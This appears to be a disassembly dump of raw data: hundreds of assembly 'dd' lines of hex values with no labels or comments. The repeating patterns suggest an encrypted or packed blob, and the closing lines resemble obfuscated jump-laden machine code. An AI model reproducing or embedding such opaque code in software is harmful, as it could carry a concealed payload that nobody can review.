dd 0D5B5B132h, 565DB134h, 56AE363Dh, 3694B132h, 0E362063Dh
dd 30B5D08Bh, 59853A89h, 5675B3BCh, 37DBD132h, 0DD3CD167h
dd 922D48DEh, 85D6D1CEh, 35008291h, 56D35865h, 1771B132h
dd 0F7730A16h, 0BFDAD068h, 565DB13Bh, 12D482B9h, 0C244283Ch
dd 56AC5894h, 0A443B132h, 8C5DEFF9h, 56755969h, 0D7E0B132h
dd 0B0E13BD8h, 4C2EBE35h, 3657B132h, 56ABBCDBh, 0BE1C7232h
dd 607F7CCEh, 13CFCCEAh, 0D4B5AEECh, 565DB132h, 0D4A1D153h
dd 5657B12Bh, 56ABA5DBh, 3E60D32h, 2C27AE6h, 8B5A12F0h
dd 5029C4AEh, 0B688557Bh, 3617D7C5h, 0ECDCD069h, 514DCF4Ch
dd 9FE644CBh, 56F83F3Dh, 5B9CB132h, 7ABAB132h, 11C2515Fh
dd 44AF99BCh, 14ABD680h, 59AB8EB1h, 56D10DB6h, 18A4D32h
dd 52FEB63h, 16EB0954h, 51D6D06Bh, 56AEB8DBh, 27C8CB32h
dd 8DE79B60h, 232A8288h, 0BE8AD13Eh, 5675B13Ch, 0E8484ADBh
dd 9EEEBA91h, 0A441DDF8h, 370CC938h, 5EDE4E53h, 423CE1CAh
dd 73EAB132h, 511A6FA7h, 0CDFA66CBh, 8853F294h, 0EE22D9A0h
dd 0BEB3AD45h, 56ABB8D1h, 56D5A1DBh, 4037E832h, 9426E997h
dd 3865734Ah, 7BA179D7h, 596EBAE5h, 5657BEB7h, 8920D132h
dd 0DDB49487h, 5D034935h, 0A375B132h, 0AFAE76B1h, 0A9A2D6DBh
dd 13274DCDh, 0D731D1CEh, 644C9FCh, 8447FB2h, 5A9F4E53h
dd 566E313Dh, 59DAB132h, 565DB1BBh, 56A05832h, 0EE6AB132h
dd 0BD5AA5ECh, 0FCDCDE72h, 74C10912h, 56675853h, 937EB132h
dd 0C0BE0598h, 170BC53h, 0AE8B28F3h, 1FEDAB0Ch, 59DDC4CDh
dd 56EAA1B0h, 567E5832h, 42F3B132h, 622732A8h, 0E2EFC52h
dd 36604E56h, 0E9640E3Dh, 532C2D1Eh, 5FD35953h, 0DD7AB132h
dd 56BAB12Ah, 564F3A3Dh, 5B47B132h, 8F57B132h, 0CFE8961Ch
dd 7B48780Ch, 47649FFCh, 0D27A7139h, 56BAB13Ah, 55D658CAh
dd 0AF5BB132h, 36ABF4B9h, 8AA00F54h, 56D9333Dh, 5103B132h
dd 6F75B132h, 29E0A1E0h, 6F3C991Fh, 302CBE35h, 5957B131h
dd 56ABB0BCh, 132A4D32h, 576FBECEh, 0A375B132h, 56BECEB1h
dd 5611353Dh, 0D557B132h, 5957BD4Dh, 56ABF0B6h, 0D2DAD132h
dd 56EAB136h, 0A4B40F54h, 56BAA1DAh, 51BEC232h, 4A54839Fh
dd 634E0BEBh, 0A0F599B7h, 0EF4108FBh, 37B1B4FDh, 5675FDDBh
dd 56AA5832h, 466AB132h, 5896DEFBh, 86631B77h, 7F8BB0D4h
dd 0A96DACE8h, 36154ECDh, 5674303Dh, 0E046B132h, 53E4D0D0h
dd 0AEAEB132h, 0BFAE1AC1h, 0A9544FF7h, 56D5A5DBh, 7219A32h
dd 117B7B60h, 2A10AC85h, 99EFFBF6h, 0C0CD73A6h, 462832D3h
dd 0CB2FBE37h, 59D5B132h, 56EABFB7h, 0A6F4D132h, 8611B00h
dd 565D3D3Dh, 59CFB132h, 5657B6B2h, 0ECCDD132h, 372D6D26h
dd 50FACEB1h, 56DB343Dh, 1746B132h, 56443E3Dh, 4247B132h
dd 0D657B132h, 6BC3E68h, 74C720C2h, 8A1043CDh, 1A6D7821h
dd 0DD43B313h, 303DB575h, 0F63062B3h, 4AD40954h, 5AF43A53h
dd 56DF5852h, 0B8F3B132h, 0BA5DA29Fh, 7FD89625h, 0F71A66B3h
dd 0BFCFFBF5h, 5657B120h, 88ED58E8h, 7229DE8h, 0AFA601D4h
dd 824C7DACh, 0EA5305CDh, 365DB133h, 56AEB4DAh, 4DBC5332h
dd 37F0BA4Fh, 36D1F6B9h, 0EEAE47B2h, 6F0E7149h, 4431BE53h
dd 365DB132h, 56AEB4DAh, 0C78ED432h, 0ECF1D4EBh, 41516A2Bh
dd 5AB53A53h, 90F4D752h, 0BFDB6BF1h, 565DB042h, 20413052h
dd 3732D624h, 0AFAFF6B9h, 36D9EEB9h, 373D3AC7h, 5E2A8ACEh
dd 5629343Dh, 373DB132h, 5847D160h, 5657B132h, 0BBFEB397h
dd 0CFDCFD52h, 0CAFFDB26h, 36144D7Fh, 56BAA0DBh, 0D3C36132h
dd 0F011EF31h, 8325284Dh, 84EC725Ch, 372D702Ch, 0BFEEE6B9h
dd 5675B13Fh, 0D0379F2Dh, 848E5873h, 5D449420h, 46029A0Ah
dd 56ABBDDBh, 57149E32h, 9B51705Bh, 0CF8BD2D8h, 42EFB2D1h
dd 565DBBDBh, 6E2E5C32h, 0E0E8DFEBh, 59E82663h, 56D5B6B1h
dd 5767BE32h, 0AF75B132h, 0AAB6EEB9h, 0D5A56B19h, 0C57B4D9h
dd 56C458CEh, 59CBB132h, 975E4F8Dh, 52AD3A53h, 567B5952h
dd 6474B132h, 59FC90EFh, 0D6900F75h, 4ADE0611h, 56AB3D3Dh
dd 0BE8FB132h, 56EAB123h, 0E58A58B7h, 418E0E4Eh, 0AC3CDCEDh
dd 0B2E3CD1Bh, 5650597Bh, 5E44B132h, 1B043B8Eh, 37B3E8D5h
dd 0BF79EEB9h, 56BAB123h, 0D07E30ABh, 17732BDh, 7B1A56A0h
dd 0CDBE92CCh, 528A9A17h, 56EAB7DBh, 0FEC5F332h, 0AE3B52A7h
dd 59585AB1h, 56AEB0BAh, 0DC544832h, 514BA447h, 56DE343Dh
dd 5003B132h, 7B75B132h, 7235D98h, 462232C2h, 7F2BBE31h
dd 3657B132h, 0ED90A54h, 56D5BADBh, 96343D32h, 0B2C2A9D8h
dd 60827659h, 5BB4F053h, 9BAEB132h, 21AC3D4Bh, 9F34333Bh
dd 0B9C7BD1Eh, 308A6819h, 302B3789h, 0DFDB46B9h, 595CB06Eh
dd 56AEB0B9h, 0A9EF4432h, 0BF544ECDh, 56D5B139h, 0D385DD78h
dd 0FEB0E368h, 0EFCCFBE2h, 565DB137h, 502DBE52h, 0D757B132h
dd 50AD22D2h, 805ED777h, 0BF414253h, 5675B135h, 0E1FB3D0Dh
dd 0BF57A9D5h, 0A9514D3Fh, 5657BADBh, 58D4D432h, 3ACC9210h
dd 8E03B516h, 82F5D152h, 56B25802h, 4B67B132h, 0ABDFA1BDh
dd 30364019h, 822F79B3h, 0D6DAD053h, 56EAB137h, 37154852h
dd 0DD42D153h, 3694D0CCh, 0BF5C3A54h, 5657B13Eh, 1AE89D74h
dd 7A916150h, 21BAC50Bh, 56657353h, 0BFDAE4CBh, 565DB13Ch
dd 0DEBDBC66h, 0D88A7001h, 43E7BDB4h, 0AE5EB25Ch, 59063A53h
dd 5675B0BEh, 0D8B54432h, 565DB13Fh, 56AEB9DBh, 7D1ADC32h
dd 3BE61613h, 0AA1132E5h, 56E63C3Dh, 0DB7AB132h, 56BAB134h
dd 565D313Dh, 0A3CEB132h, 5657B1DAh, 0BC2AEB32h, 5133730Bh
dd 56EC58CAh, 4C22B132h, 0F83BBB87h, 28230BB9h, 4647B6D4h
dd 0D757B132h, 0DCF5A5DFh, 242ED8B9h, 6B4B0EBDh, 652BF8E2h
dd 56B158FBh, 6D7FB132h, 249AADD5h, 763F3750h, 569432E4h
dd 525F353Dh, 4403B132h, 7675B132h, 0F04EE707h, 884687E4h
dd 0D4EE1927h, 842342C2h, 0BFAC3A2Fh, 56D5B13Ch, 65E7C5A6h
dd 0DCC3B86h, 0C43E4CD2h, 0A9A1A594h, 30CEBD47h, 37A09A89h
dd 36A3C4CDh, 0BF0A3A54h, 56EAB120h, 4B7E64A3h, 72EA9AA4h
dd 0DFD102Ah, 995672CBh
dd 63672E8h, 52CA59CBh, 37B5B132h, 0D3E57139h, 5675B17Fh
dd 56BD323Dh, 0EC3DB132h, 59C5B0D9h, 565C5853h, 7E53B132h
dd 793F5069h, 150A9008h, 59723A52h, 56BAB0BDh, 0E33D4D32h
dd 5226BE77h, 3057B132h, 37D2028Dh, 56D582DBh, 0D78A4832h
dd 0D52A70E9h, 5339BE06h, 0E95DB132h, 15AF54EDh, 42903253h
dd 0A99058CEh, 473C4ECDh, 0D1EAB132h, 3B704A38h, 0F5E2E46Dh
dd 35909B0Fh, 52D98F9h, 0A3ABF4BBh, 36A7C4CDh, 6D233054h
dd 2315D0EEh, 308DD13Ah, 0A9DB66B9h, 0D73BD105h, 30E29BC1h
dd 34DC71B3h, 556A5953h, 0AEB5B132h, 5E61BE53h, 5975B132h
dd 56BAB3BAh, 5D3CD132h, 1C2ABEF2h, 3657B132h, 56ABA0DBh
dd 0F8F1DF32h, 24562189h, 66D4B9E8h, 7E73CBDh, 53B4303Eh
dd 40AEB132h, 637CE0D0h, 56AD5853h, 5E83B132h, 8E68297Fh
dd 5676F2DBh, 5852D132h, 295DB132h, 0A8358960h, 2481EBB3h
dd 2076C86Eh, 0B45FE90Ah, 0AAAF3A53h, 5675BEDBh, 443ECC32h
dd 8F702745h, 0A733747Bh, 0F25CE700h, 56ABBFDBh, 272A0632h
dd 9B85B580h, 601C8D64h, 6F731236h, 0AFDFBE35h, 59AEB130h
dd 5657A4B3h, 56BB5832h, 0D5FCB132h, 0E551EE61h, 8861DC4Ah
dd 4C78A4EAh, 0A9A48000h, 5E474D77h, 0E757B132h, 31642A35h
dd 0D50CBE41h, 59EAB54Dh, 5675F0B6h, 45534932h, 0CC5DB132h
dd 2B87ECA7h, 0BD8EEEB3h, 1D5AC51Ah, 0E3A90034h, 29697B6Eh
dd 0D27AB13Eh, 56BAB12Ch, 562D58CAh, 0BFCEB132h, 5657B13Dh
dd 0B4C987EDh, 277D9D97h, 0EA34E157h, 0DD9080B2h, 0A902D0E4h
dd 36A24ECDh, 0E9A17FB9h, 50BED0EBh, 8CABB132h, 0AA0C37E7h
dd 56EF087Eh, 5915B132h, 56BAB3BDh, 0ED843A32h, 561B96BFh
dd 36FC4253h, 801E46B3h, 0BFB582F7h, 56EAB123h, 7389B108h
dd 0FFF891A6h, 91B778D7h, 5841E973h, 25E8D7E0h, 0AFCAD0BFh
dd 0A92BC6DBh, 296944CDh, 0D27AB422h, 56BAB191h, 45D2BE52h
dd 0BFAEB132h, 5657B13Ch, 36B5D2F8h, 0F05239A5h, 0C61D5405h
dd 0DD1523CAh, 247331CCh, 29DED053h, 0D3A1B722h, 5657B1D6h
dd 56ABB7DBh, 0D681C732h, 1742056Bh, 52323ACAh, 56AE5852h
dd 3FA2B132h, 60A19BD5h, 2AABD860h, 96428DE4h, 22B1357Dh
dd 0DD8C32EFh, 469CD0FDh, 0B4BAB132h, 0EFF13246h, 75BE8097h
dd 53454375h, 0DDF7EEECh, 473CBD6Dh, 0B3EAB132h, 99968A1Ch
dd 0C9D1CDADh, 0D475884Ah, 128312FAh, 570658CEh, 0BF57B132h
dd 56D5B13Dh, 4F94F047h, 6715C83h, 0C0F5B55h, 0DDDCF790h
dd 5347B575h, 0E557B132h, 1F25E7BDh, 59D9EEB9h, 56EAAEBAh
dd 4FFCBE32h, 0BFBAB132h, 565DB126h, 0D09E13A6h, 0C5B720FCh
dd 0F9A2ABF1h, 1FB6DAE2h, 0B85DB34Dh, 56623F3Dh, 4453B132h
dd 395DB132h, 1B1BDEAEh, 60A29731h, 7CF3274Ah, 0F4C5BB28h
dd 563C58A6h, 479CB132h, 35BAB132h, 0D50D51EAh, 0F70757DAh
dd 0E40048B5h, 77CC1C48h, 59D1F6B9h, 56EAB0BFh, 9FE4432h
dd 5C38BE3Eh, 365DB132h, 306476B2h, 2E9369B3h, 412DBE53h
dd 0BFD5B132h, 56EAB120h, 0D4C34FC4h, 80645BE4h, 746A8C2Ch
dd 1B988140h, 97C6234h, 56A25836h, 38FEB132h, 0BE8C768Bh
dd 59AD92E1h, 56BABCB6h, 56555832h, 0D57B132h, 5F9CB212h
dd 0BD282DACh, 30B5D137h, 0BE33EE88h, 5675B13Bh, 0A831D05Eh
dd 43E79CC3h, 36CFEF9Eh, 56573A3Dh, 37CAB132h, 46AA32CEh
dd 636FBE31h, 3675B132h, 56BAA2DBh, 0F4C64D32h, 73D3148Fh
dd 8E5EFC39h, 6A74D1E4h, 85CD6772h, 56EB333Dh, 3780B132h
dd 5B39BE73h, 365DB132h, 56AE333Dh, 0D731B132h, 37526FE5h
dd 5E3C6819h, 88EAB132h, 0BFDEFEFFh, 0DF1E1BA7h, 0A35CB06Eh
dd 0A9514E8Ah, 9ED6D1CDh, 3A0B934Fh, 1FFE0289h, 5353D045h
dd 0AE75B132h, 59531AC1h, 0B25DB132h, 22AF03AEh, 0BEE054Ah
dd 0CAE7D4D7h, 33CA3E8h, 36154ECEh, 30B73A54h, 3789398Ch
dd 42B44953h, 0DBAEB132h, 1C67878Fh, 9B00A264h, 88F88E8h
dd 995A4EC2h, 9FE7AB10h, 56BAB9DBh, 59F1A832h, 8BE265AAh
dd 565F7319h, 56AA303Dh, 32CB132h, 36063AC7h, 0D7B43054h
dd 1003D7BBh, 92DED08Bh, 4647D1CEh, 0D857B132h, 404421D6h
dd 0BD867E75h, 0C3260B98h, 0BFA4268Dh, 56BAB134h, 0E2650472h
dd 36CF47CBh, 5657B4DBh, 66E2DB32h, 0DD298AD5h, 0D5E5B977h
dd 5675B125h, 0BFDBD152h, 565DB13Ch, 2738026Bh, 0C28EDFB9h
dd 3DDAC7D6h, 36B49780h, 66FC0A54h, 6D146FB9h, 0D4B5BD77h
dd 565DB16Dh, 139549C7h, 2D0BE22h, 36ABB132h, 0DDB3BC82h
dd 132DD0F9h, 5675B1CEh, 56B65832h, 8CC9B132h, 79A72B28h
dd 0E13F92D1h, 36CBDE06h, 56D53B3Dh, 5103B132h, 2C75B132h
dd 42E597CFh, 373C8F72h, 56AE8EDBh, 5DBFD132h, 72ABB132h
dd 0C13C9CD4h, 89950D79h, 0E17AA837h, 36DBE8F3h, 913C7EB9h
dd 56AF4D77h, 0BFAFB132h, 56ABB12Ah, 56C73D3Dh, 0BE8AB132h
dd 5675B138h, 1ED7D5D9h, 4E2FEB97h, 37F6D89Dh, 59374D53h
dd 0C61B4A85h, 0AA903A53h, 56EABCDBh, 9EB00332h, 0F90DA8EEh
dd 32E3FCCCh, 0AA67EF24h, 565B73CAh, 0D7A44952h, 56D5B134h
dd 56EA3A3Dh, 314B132h, 56B4373Dh, 5FB4B132h, 2AEB132h
dd 9C63851Ch, 65990DE2h, 56D5BEDBh, 28809E32h, 0AE2153Eh
dd 56DE519Eh, 95F0AFB4h, 0BFCE5DB9h, 5657B13Ah, 0D68FC9B6h
dd 560436BBh, 0AA2E3253h, 567C3A3Dh, 0AEDAB132h, 0C4A747B3h
dd 0AECFD656h, 565E5852h, 0D609B132h, 5C579395h, 0BE68E55Ah
dd 5675B132h, 9E503068h, 365A57FAh, 56AB323Dh, 0D731B132h
dd 479ADCh, 378C46B9h, 56F8303Dh, 5B9CB132h, 58BAB132h
dd 723EE927h, 0D3CE4D7Fh, 0B5BAA767h, 0AF6282CAh, 5D3C6A01h
dd 0CBEAB132h, 0D513B136h, 4ADFC414h, 0BD4E200h, 56A258CEh
dd 0C064B132h, 0AD7DC4C3h, 8361B573h, 0EC615DC2h, 5193CF4Ch
dd 56BAA5DBh, 4C6A1432h, 98D46CA7h, 308EB14Fh, 44994468h
dd 0A4901777h, 56D532AAh, 5498353Dh, 0D7DAB132h, 6674FCFAh
dd 56BA5977h, 0A796B132h, 28104D3Ch, 205E48E1h, 0DA9E849Ch
dd 21628D56h, 0FE91037h, 69DED06Ch, 612BBECDh, 0BF57B132h
dd 56ABB126h, 27C9A321h, 0DB9C2963h, 27CF306Ch, 94AB13D5h
dd 42BD0D0Ch, 0A3BA76B1h, 0A9F058CEh, 51424ECDh, 94D5B132h
dd 9F0062D3h, 0D71542B3h, 0DB9BDEF2h, 29DED07Ch, 0D2A1B136h
dd 5657B174h, 56BF3A3Dh, 593CB132h, 9EAB132h, 8C41F5AAh
dd 0DB722D88h, 0ABBB85C2h, 292D5F48h, 0D258B13Eh, 56ABB110h
dd 56C6333Dh, 0BE8AB132h, 5675B139h, 4BE75096h, 0EC5AEB3Ah
dd 0DEAB9B5h, 56155853h, 0E0CBB132h, 132AD02Bh, 5769BECEh
dd 0AA75B132h, 427D32CEh, 564D343Dh, 5D47B132h, 0D757B132h
dd 25FA2B60h, 0AB799683h, 0BF13364Ah, 0A98A4E2Bh, 56BABEDBh
dd 62C60F32h, 3DBDA7D1h, 2FE57596h, 0C4C020E9h, 53C5CEB1h
dd 5672353Dh, 0BF15B132h, 56BAB13Eh, 1BA6A3B2h, 5887BD4Bh
dd 0B047FF16h, 31799F8Dh, 0D52DD035h, 59ECA14Dh, 567502B7h
dd 56A95832h, 2924B132h, 0A943CBC0h, 2F2AA0A5h, 80E81F6Eh
dd 0E649BDBh, 0DD12F00Dh, 0DA7AB575h, 56BAB13Bh, 0EFAF3A52h
dd 5F00E2Ah, 5A083A53h, 4B424DCBh, 36D5B133h, 56F83A3Dh
dd 5A9DB132h, 0F3BAB132h, 0BDDFAC6Dh, 9B272749h, 0C2672F2h
dd 56ABB4DAh, 0C8368D32h, 42025384h, 8575B132h, 3481CECAh
dd 0B4F9C847h, 0B396A75h
dd 48963311h, 9C9D384h, 115ED069h, 0AE16D136h, 5A2A3A53h
dd 56A7373Dh, 0BF3DB132h, 56AEB126h, 66BB425Ah, 0BB801852h
dd 597175D4h, 4B573BB2h, 6490A99Ah, 0BFDB4AB9h, 565DB134h
dd 0BC4918F6h, 0D9BEB907h, 0AFABB132h, 59D1F6B9h, 56EAA8B3h
dd 56615832h, 0AC12B132h, 0F101B1E8h, 0B8A163ACh, 0CC115CB9h
dd 0B1D6AEDFh, 453CD64Ch, 65EAB132h, 0FC97283Dh, 0FF405079h
dd 9A776BFh, 8C9AF5AAh, 9DC2D88h, 0E1A4D13Eh, 0EDB3D1ECh
dd 5D035BF0h, 0AB75B132h, 8A6ED9B8h, 0ADC33FD7h, 37CF767Bh
dd 0BF53EE19h, 56ABB13Dh, 7A4170EAh, 2625DF1Bh, 59995E6h
dd 0D59ACF04h, 0D5A8B4D9h, 59ADA14Dh, 5657A0B7h, 0BFEA4832h
dd 56D5B138h, 5B452D9Dh, 1976357Eh, 8F915E33h, 565DBADBh
dd 7E6F1532h, 865ADA48h, 9D50A10Bh, 57D4EDBBh, 56F33B3Dh
dd 429CB132h, 6EBAB132h, 63339E2Ch, 0BDA8A406h, 0E2EFB26Dh
dd 45E6744Bh, 0EE2C1BFAh, 0A9154ECDh, 567008CAh, 0BEDAB132h
dd 565DB123h, 41B8CE8Fh, 7F309493h, 4ED627F5h, 0A0485992h
dd 0D7B048BCh, 585419FAh, 0FD49D073h, 565C383Dh, 0BF52B132h
dd 0A9A84C1Bh, 56B2383Dh, 423CB132h, 46EAB132h, 7AD91993h
dd 9381C9B3h, 855407D5h, 0CF700640h, 374C2331h, 0A41CBE52h
dd 0DD8BE052h, 0DD8BD0FDh, 0DD154D77h, 8D05BEFAh, 0D3527853h
dd 56AEB133h, 0DB5872CBh, 56ABB133h, 72DE1CAh, 0EF8C4952h
dd 361488D2h, 0B33377B3h, 0B0DCDBFFh, 2638DFA8h, 5FBEE253h
dd 42ABB132h, 0BF0AC205h, 0A36AD163h, 5675B1DAh, 0BC3BEB32h
dd 51BB7DBBh, 5825BEC7h, 0BF57B132h, 56ABB13Bh, 0D2B7C950h
dd 7FA79AFBh, 0FEF3CBFh, 36BD574Dh, 37843A54h, 56CA09CEh
dd 5FBEB132h, 0DFABB132h, 3BB343E1h, 0CC628570h, 567048DAh
dd 56BD5832h, 6A1DB132h, 0A42B26E1h, 365C3AEAh, 6E152B2h
dd 6DB4EACAh, 4603D1F3h, 875B132h, 87B1F8D5h, 536F376Eh
dd 37D22C0Ch, 0BE8A7BC9h, 56ABB13Ch, 0E8992EEDh, 6FCA8067h
dd 7846CEF2h, 42522B6Bh, 0F05DB132h, 1215C33Dh, 6327E71Bh
dd 0D91D4494h, 83F68F01h, 0D7106E7h, 999CD068h, 36BAB132h
dd 565DA3DAh, 12EC6C32h, 0C1B0FDA4h, 9E618DBBh, 0D8C22C49h
dd 0BF030F4Ah, 5675B135h, 88FE7B22h, 93FCD7Ah, 5620BE52h
dd 3757B132h, 52E0B253h, 599A0B52h, 0D78CB15Ah, 37A438C4h
dd 56BF5852h, 9C0EB132h, 0D66506B7h, 6D36DFD0h, 0F929BEF3h
dd 59D5B132h, 56EAA7B1h, 46F5BE32h, 0BFBAB132h, 565DB139h
dd 0D073F873h, 5C970F23h, 36C1309Ch, 55B44DB8h, 0D4E5A179h
dd 5675B133h, 978148CEh, 5677333Dh, 5847B132h, 0F457B132h
dd 0B338B3B1h, 1F421629h, 5629B0E9h, 565F58DDh, 0D4B5B132h
dd 565DB13Eh, 56A83C3Dh, 0DD58B132h, 56ABB132h, 56D5C7DBh
dd 0E98CD132h, 5E9C87C0h, 3ABAB132h, 883B94D4h, 373BF048h
dd 5657EFDBh, 0CC264932h, 5132718Eh, 56EB3F3Dh, 0A98CB132h
dd 0B30DD1E1h, 0CDF171B3h, 0BFCFD52Fh, 5657B10Dh, 0BF693A52h
dd 56D5B13Fh, 5DC31296h, 9F4861C3h, 2F8E48A0h, 0CCD0D077h
dd 514972D0h, 5657A5DBh, 0EBAE7A32h, 9AAA82CCh, 0C94CEE1Ah
dd 22BD5CBFh, 0B16F7463h, 368E4EB4h, 816C3054h, 0D3649EFh
dd 56ABB4DBh, 0CE62ED32h, 0AAB39C1Eh, 0BFB6496Ah, 56BAB121h
dd 1FF46F35h, 36ACAF47h, 19419679h, 2C95E948h, 318C393h
dd 56EABFDBh, 0F7FD5032h, 465C0082h, 77892BCh, 0DD7ED256h
dd 56BF4DDEh, 0CABB132h, 984E5BB3h, 0DAE5B6D4h, 5675B125h
dd 56BAA3DBh, 9135A232h, 0B6C7FF9Dh, 0EC91C09h, 1D8E0C10h
dd 0AA5FAB98h, 5E6EBE52h, 5975B132h, 56BAB3BDh, 0DB3CD132h
dd 0B0D1E888h, 40DDBE35h, 59ABB132h, 56D5A1B0h, 56E15832h
dd 0A0D5B132h, 68ABB799h, 68CEDCC3h, 5EEB3A31h, 56563C3Dh
dd 0AE5EB132h, 0DCDAB6BBh, 56EAB135h, 56743C3Dh, 0DD46B132h
dd 0D152BD77h, 56AEB133h, 521038CBh, 56ABA5DBh, 76F30532h
dd 744183D6h, 0B27A796Ch, 37F95E31h, 0CAD56742h, 46EB3A04h
dd 54D3BE52h, 0DDABB132h, 115CD0CCh, 0DD8CD13Eh, 0DEB131FDh
dd 4731BE53h, 0BF5DB132h, 56AEB13Eh, 0D5B9861Bh, 0DE79705Ch
dd 0C6536BCAh, 0A3FEF4B9h, 0AE65F6BBh, 8E31D153h, 565B3A3Dh
dd 0DCA1B132h, 5657B132h, 0D4A47853h, 56D5B112h, 56F95852h
dd 89DFB132h, 6CEBB2B4h, 193897C1h, 0C19C89E1h, 8B516E18h
dd 8740309Fh, 37FA59C5h, 56F13E3Dh, 0BF15B132h, 56BAB121h
dd 305460Fh, 6468B5D9h, 639E3777h, 682E2A87h, 0AFB21A2Fh
dd 56FA7353h, 300F0552h, 0A1ED63B3h, 90A8D153h, 0B6A9E8B7h
dd 0BF37F635h, 56ABB13Eh, 0E7827F86h, 0A5008CD1h, 4BACA8E4h
dd 50503054h, 4C35D0DCh, 0A306A641h, 5657BBDBh, 44D34332h
dd 2CB53AF1h, 0A96E2141h, 0B65C9C87h, 0D3374835h, 51BECEDAh
dd 56AF3A3Dh, 0BFAFB132h, 56ABB123h, 819C475h, 0F506E540h
dd 3DC94683h, 95D3326Dh, 0BF8D4E5Ah, 56AEB138h, 271A3251h
dd 0DE8A63A2h, 443CFE53h, 18EAB132h, 0D927252Dh, 0E73A8DADh
dd 0EAB1AEE4h, 3D9166BCh, 0DF58E362h, 56ABB126h, 56D5BEDBh
dd 0C7283332h, 9316769Eh, 67FC63ADh, 930E2041h, 0D7A83BBFh
dd 7AFB6D4h, 56B73E3Dh, 30B5B132h, 545A40B3h, 5675A1DBh
dd 907BAB32h, 12A09127h, 3A003EC9h, 48DA0761h, 0A95ED0D8h
dd 302CD1E2h, 37480D8Dh, 5663353Dh, 0D6B5B132h, 565DB122h
dd 56AEBADBh, 0FBE06632h, 0F81F1650h, 2F699CB9h, 4268BE68h
dd 0BF75B132h, 56BAB13Dh, 0F42ABF08h, 0D80F8FF3h, 5537FB50h
dd 0DB7891B9h, 0B054B7B0h, 59BCD135h, 0DD2C7985h, 0E1B5D0F4h
dd 0BF3DBD72h, 56AEB13Fh, 3D8E6E11h, 0D2D05028h, 24AF98B2h
dd 0E88CD14Ah, 0E17A4BEFh, 0DDDBD0ECh, 565658EAh, 7101B132h
dd 77741BB8h, 0B74EA0DDh, 0BF8749FEh, 56EAB13Bh, 0EE3E3253h
dd 46802D9Eh, 5BB5D180h, 9AEB132h, 0BCCDB4A4h, 96EA2EB8h
dd 6640FE05h, 56EAA3DBh, 2971F332h, 0A6505965h, 565EB19h
dd 85300710h, 0E28DFABh, 0BF9ABE53h, 56D5B13Eh, 5C69DB80h
dd 0CC7451DDh, 3E9A4B5Ch, 0E6A5D168h, 95ADD0CBh, 0D8584452h
dd 56ABB131h, 37140E3Dh, 4F6733BBh, 0D47AB6D2h, 56BAB120h
dd 565DBCDBh, 13338032h, 0E53AA095h, 646798D8h, 36B41811h
dd 8061D752h, 0DC1D0C7h, 51F57253h, 13E9h, 0F2E5D800h
dd 8BC31278h, 90737A60h, 18E28784h, 0CC91623Fh, 148C0F52h
dd 60000000h, 0E9C18B66h, 0Ah, 69447BA1h, 0E767C34Eh, 0E861F788h
dd 0
dd 0E4EA815Ah, 6007E6D1h, 14E9h, 968BD900h, 51FC2CD9h
dd 25624BFDh, 0B029467Ah, 4525CFC9h, 850F617Fh, 1, 8BF952F9h
dd 0E0198D82h, 6DB9F807h, 0F941C64Eh, 5E960h, 8AB0000h
dd 8B465F08h, 0E1F761F7h, 0AE9h, 9AF01300h, 0AD8DDFF7h
dd 5A5BE270h, 9840Fh, 66600000h, 661A88BBh, 6061F98Bh
dd 959CCE81h, 0F38B6EA5h, 30390561h, 840F0000h, 1, 0FFFF25F5h
dd 0E9607FFFh, 6, 2EB18851h, 0F2819B8Fh, 179BF961h, 8D828961h
dd 0E907E019h, 0Ah, 62FE0A70h, 39B998DAh, 5AFC9D3Fh, 820F59F9h
dd 1Ah, 148F0Fh, 0FE90000h, 0B9000000h, 84FDE05Bh, 9914A692h
dd 5873A2A9h, 0FC3C9E1h, 986h, 8E0F6000h, 0
dd 0F5161F9h, 784h, 1870F00h, 0F5000000h, 18B0Fh, 52F50000h
dd 0E8FCh, 815A0000h, 0E6D2DEEAh, 7870F07h, 60000000h
dd 26D1F7BBh, 800F6150h, 19h, 14E9h, 75136800h, 0E53E9D20h
dd 60B142D8h, 987E5E20h, 9986951Dh, 0FC88B1Bh, 0B81h, 0C8816000h
dd 1BDDC1A6h, 61FEBF0Fh, 0FFFE82E8h, 8B0F60FFh, 3, 8BCE8B66h
dd 870F61CBh, 4, 61616060h, 7E9D233h, 0EF000000h, 0B27A6978h
dd 0F1F7E81Fh, 0E9C28BF5h, 10h, 0CA30B62Ch, 62786264h
dd 4D2BC984h, 8C478D29h, 6059F95Ah, 0EE960h, 0CC180000h
dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 12E8h, 3A162800h
dd 0CABB3872h, 0A38E909Dh, 250583DBh, 5EC2BE03h, 74C48061h
dd 5E9C361h, 0B1000000h, 81A2B796h, 0FC08BF8h, 186h, 0C08BFC00h
dd 0B8858DF5h, 0F507E697h, 0F9D0FFF9h, 0C18B66F9h, 0CACB8160h
dd 0F48F94Eh, 184h, 8D61F500h, 0E6D1AB85h, 1850F07h, 0F9000000h
dd 2F098589h, 890F07E0h, 7, 1890Fh, 8DF50000h, 0E6D2C285h
dd 0DE907h, 0B0970000h, 0D3A4D897h, 6573C5BFh, 89CDD10Ah
dd 0E0263D85h, 0FE907h, 0E0340000h, 0F70CFF1Ch, 5B9B83B1h
dd 685F8AAAh, 0B853h, 60F90000h, 0CE9h, 0E6BC8400h, 0AB6F6F5h
dd 4F519E44h, 0C00B610Fh, 198840Fh, 0C6F80000h, 0E0075985h
dd 8E95607h, 2F000000h, 0D5B88AADh, 68EB0D9Ch, 0A9C530DFh
dd 6BD88160h, 61613EDAh, 8860Fh, 850F0000h, 2, 0B5FF6160h
dd 7E0292Dh, 0F9D88B60h, 0E8858D61h, 6007E37Fh, 0FE8h
dd 0F5E46900h, 164FE21Ch, 0E874F1E7h, 8CE879E1h, 6059B3B4h
dd 800Fh, 8E90000h, 6D000000h, 0F9ACC38Dh, 61D8293Eh, 0E9D0FF61h
dd 9, 951388F3h, 8CE5AA5Ch, 12E907h, 1ECE0000h, 0EA91F8E5h
dd 0E626D2BFh, 2AC3E38Fh, 8C5BE5D3h, 6E950h, 859D0000h
dd 6D96080h, 5858D8Dh, 0F6007E0h, 18Eh, 6660F800h, 0E836C2BFh
dd 8, 5EE37C57h, 2E53E41Fh, 5161615Ah, 1890Fh, 6AF50000h
dd 14820F04h, 0E9000000h, 0Fh, 0CB20936Fh, 4FE862B4h, 255B1C1Ch
dd 6855F899h, 1000h, 0EE9h, 7C560D00h, 5F432DF0h, 0E269306Bh
dd 0FF8718DAh, 0E00465B5h, 0DE907h, 4F1E0000h, 0B6EDFB72h
